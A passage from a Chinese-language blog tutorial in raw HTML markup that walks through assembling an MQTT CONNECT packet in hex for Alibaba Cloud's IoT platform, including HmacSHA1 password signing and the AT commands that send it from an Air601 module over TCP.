class=\"language-none\"\u003e41 69 72 36 30 31 26 6B 73 66 31 31 34 35 31 34\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(16 -\u0026gt; 00 10)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e00 10 41 69 72 36 30 31 26 6B 73 66 31 31 34 35 31 34\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"密码\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%AF%86%E7%A0%81\" class=\"headerlink\" title=\"密码\"\u003e\u003c/a\u003e密码\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eclientId*deviceName*productKey#\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eclientIdAir601deviceNameAir601productKeyksf114514\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e加密:\u003c/p\u003e\u003cp\u003e将填充后的内容\u003cstrong\u003e使用DeviceSecret做密钥\u003c/strong\u003e,进行\u003cstrong\u003eHmacSHA1加密\u003c/strong\u003e:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003ee4b931f38037ef7241455709458b4b630b22eac2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转为16进制:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(40 -\u0026gt; 00 28)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"合并,得到最终有效载荷\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%90%88%E5%B9%B6%EF%BC%8C%E5%BE%97%E5%88%B0%E6%9C%80%E7%BB%88%E6%9C%89%E6%95%88%E8%BD%BD%E8%8D%B7\" class=\"headerlink\" title=\"合并,得到最终有效载荷\"\u003e\u003c/a\u003e合并,得到最终有效载荷\u003c/h5\u003e\u003cp\u003e根据我们在可变报头中的选择:\u003cstrong\u003e最终有效载荷=客户端标识符+用户名+密码\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"得到最终报文\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%BE%97%E5%88%B0%E6%9C%80%E7%BB%88%E6%8A%A5%E6%96%87\" class=\"headerlink\" title=\"得到最终报文\"\u003e\u003c/a\u003e得到最终报文\u003c/h4\u003e\u003cp\u003e首先计算固定报头中的剩余长度:\u003cstrong\u003e剩余长度=可变报头长度+有效载荷长度\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e可得剩余长度为:10+102=112 -\u0026gt; 70。(小于128,所以正常编码)\u003c/p\u003e\u003cp\u003e最终报文:\u003cstrong\u003e固定报头+可变报头+有效载荷\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e70\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e现在可以愉快的与阿里云物联网平台建立连接了~\u003c/p\u003e\u003ch2 id=\"与阿里云物联网平台建立连接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E4%B8%8E%E9%98%BF%E9%87%8C%E4%BA%91%E7%89%A9%E8%81%94%E7%BD%91%E5%B9%B3%E5%8F%B0%E5%BB%BA%E7%AB%8B%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"与阿里云物联网平台建立连接\"\u003e\u003c/a\u003e与阿里云物联网平台建立连接\u003c/h2\u003e\u003ch3 id=\"获取连接地址\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"获取连接地址\"\u003e\u003c/a\u003e获取连接地址\u003c/h3\u003e\u003cp\u003e直接在阿里云物联网平台的控制台就可以看见,比如我的(瞎编的):\u003ccode\u003eiot-ksf114514.mqtt.iothub.aliyuncs.com\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"建立TCP连接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%BB%BA%E7%AB%8BTCP%E8%BF%9E%E6%8E%A5\" class=\"headerlink\" title=\"建立TCP连接\"\u003e\u003c/a\u003e建立TCP连接\u003c/h3\u003e\u003cp\u003e使用串口助手发送:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPSTART=\u003cspan class=\"token string\"\u003e\u0026#34;TCP\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;iot-ksf114514.mqtt.iothub.aliyuncs.com\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1883\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e如果建立连接10s不上报消息,阿里云物联网平台会发送\u003ccode\u003eCLOSED\u003c/code\u003e,并断开连接,这时候需要我们关闭TCP连接然后重新建立连接。\u003c/p\u003e\u003cp\u003e关闭连接:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPCLOSE\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"发送报文\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8F%91%E9%80%81%E6%8A%A5%E6%96%87\" class=\"headerlink\" title=\"发送报文\"\u003e\u003c/a\u003e发送报文\u003c/h3\u003e\u003cp\u003e这里都是在单连接的情况(\u003ccode\u003eAT+CIPMUX=0\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e根据文档,有两种发送方式:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eAT+CIPSEND=\u0026lt;length\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e需要指定发送长度,达到指定长度后自动发送。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eAT+CIPSENDEX=\u0026lt;length\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e指定发送长度,但可以使用字符串 \u003ccode\u003e \\0 (0x5c, 0x30 ASCII)\u003c/code\u003e 触发数据发送。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e选择哪种?从实践来看,因为使用16进制发送CONNECT报文,报文中出现00同样会触发数据发送(emmmm),所以使用第一种指定长度的发送方式,毕竟报文已经提前算好了。\u003c/p\u003e\u003ch4 id=\"设置发送\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%AE%BE%E7%BD%AE%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"设置发送\"\u003e\u003c/a\u003e设置发送\u003c/h4\u003e\u003cp\u003e最终报文长度:114\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPSEND=\u003cspan class=\"token number\"\u003e114\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送报文-1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8F%91%E9%80%81%E6%8A%A5%E6%96%87-1\" class=\"headerlink\" title=\"发送报文\"\u003e\u003c/a\u003e发送报文\u003c/h4\u003e\u003cp\u003e注意,这里要使用16进制(就是切换成HEX)进行发送:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e70\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 